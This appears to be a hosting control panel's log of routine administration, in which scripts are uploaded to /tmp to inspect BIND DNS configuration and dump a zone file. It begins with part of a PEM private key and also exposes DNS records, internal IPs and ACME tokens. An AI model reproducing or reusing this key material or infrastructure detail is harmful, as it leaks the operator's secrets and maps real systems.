8yl5a8d3X3bQ4Ham9zdaVJ+AQ5h7YPrli78Nys0k4/1Pmqr2WGPWDU/wnsOdmuNH
HGv6Bs2XmO8yqeD9NGvg0g4bvVqHt9hy0qFz9rqKAQKBgQDmDaJ8irSVsffzAybb
AkuR72tpTU6Nzl7NIsgF6o3yjfC8oZ7vXqCsO3usQqVig6IlpzM0meqCxRl8UHMo
oUdEkNDwlNGS9nIGx6TzwSNyVahJIgtH6mWXXkv80Jj1t+rTUk6Tf3x0n7fiapYP
GdOOJyyhLflH7mX+T5kWAz7xMwKBgQDEj6i3nb/4Nt3uIcZKlDLlsqrqbGNQJ3c3
PvbSyxENFttUZ73aaxJa5UuQZ+V2nPBP+WagPjt9o57/CwLnAHLLLE3UD4vAWGqD
ydyUG/Ccf/J/c8tyUAkz9MVZeegBO3lhVLJAN1Z9iXcFQMWYGv8ANS08M8x7u6yc
MHpVNU4JgQKBgQCz+qbMWJe/JWSeMjEL1lfY7D5UO67hMjrosfVa643x3Soh6S+2
hYmeNUskEV/iGqmYW56r4F6fwCOYJjhx6PsgoUtVbJgpKbU7qKVcLhXVNT5bOM8q
jC6+pX89YtTIKAMHILVon6x2cR4jfM+5MLNZ2zwHPThxFgmlVBCoMBHmEQKBgDMd
tN+DO4/+HLq3t8xfO9k2HHJ4G1+V08/fJOruehGwVvtdOycY3x4aMQttqWOuLmRt
1D1p0ai7qzZiE7AlErU5YUf7fvlXROPe0+kEVw8rytFQOKESpUIIrmW1aRsg71Db
aLuAaJKe8/++t2P16UiRi6DzS4MF7D518OpFwXSBAoGBALpRCt6O94RMUuoNo7Jj
MMz2hoIBMEGMaxtHBwyvT/K9/dkOVHBJKLnMjXjjKqgix0rqIdkNNtqGZwGpJYVc
4IKadcHMBO9SjRy6TItYj2+2j2nFZksYRlmAo/Oo38BBgjkbRipUAMmjsmItEuBp
XIu0yVYpQ/kcevPfMFwStgHt
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-29 06:00:30: Establishing a connection
2025-10-29 06:00:31: Establishing a connection
2025-10-29 06:00:32:
PUT: /tmp/pkp106024
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-29 06:00:33:
chmod 755 /tmp/pkp106024; /tmp/pkp106024; rm /tmp/pkp106024
2025-10-29 06:00:33:
0
2025-10-29 10:31:58: Establishing a connection
2025-10-29 10:32:12: Establishing a connection
2025-10-29 10:32:12:
PUT: /tmp/pkp294168
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-29 10:32:13:
runuser -l bind -s /bin/bash -c '/tmp/pkp294168; rm /tmp/pkp294168'
2025-10-29 10:32:13:
2025-10-29 10:32:13:
PUT: /tmp/pkp513233
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-29 10:32:13:
chmod 755 /tmp/pkp513233; /tmp/pkp513233; rm /tmp/pkp513233
2025-10-29 10:32:13:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt 2154
; this is an automatically created file: manual changes will be overwritten.
$TTL 3600
pjy.us. IN SOA pjy.us. hostmaster.pjy.us. ( 132308961 14400 3600 14400 3600 )
pjy.us. IN NS ns1.hostz.org.
pjy.us. IN NS ns2.hostz.org.
pjy.us. 60 IN A 94.177.8.99
@ IN MX 10 mail.emessage.email.
@ IN TXT "google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge 60 IN TXT "soRuSPIewQPPdVOQKnP0OnHjPR2-f8KzOPAjzjx5gdw"
_acme-challenge 60 IN TXT "hbCwLWprrsfx4PqehBKJozSDUJBUT6ZFjCcKzDfXrRI"
mail._domainkey 300 IN TXT "v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive IN CNAME home.stoughton.link.
city 300 IN A 10.140.12.86
_acme-challenge.city 60 IN TXT "UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop IN A 192.168.1.174
_acme-challenge.desktop 60 IN TXT "l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
dm IN A 46.102.156.201
eggshell IN A 94.177.8.99
y4it37yvzcuq.eggshell 60 IN CNAME gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files IN A 74.208.130.81
home IN CNAME home.stoughton.link.
_acme-challenge.home 60 IN TXT "1651EwkgGRtzzKalnJLte0iFYKk3QC_eANpELIo4HII"
mysql IN CNAME home.stoughton.link.
pkp IN A 94.177.8.99
www.pjy.us. 60 IN CNAME @
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-29 10:40:29: Establishing a connection
2025-10-29 10:40:29:
PUT: /tmp/pkp544329
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
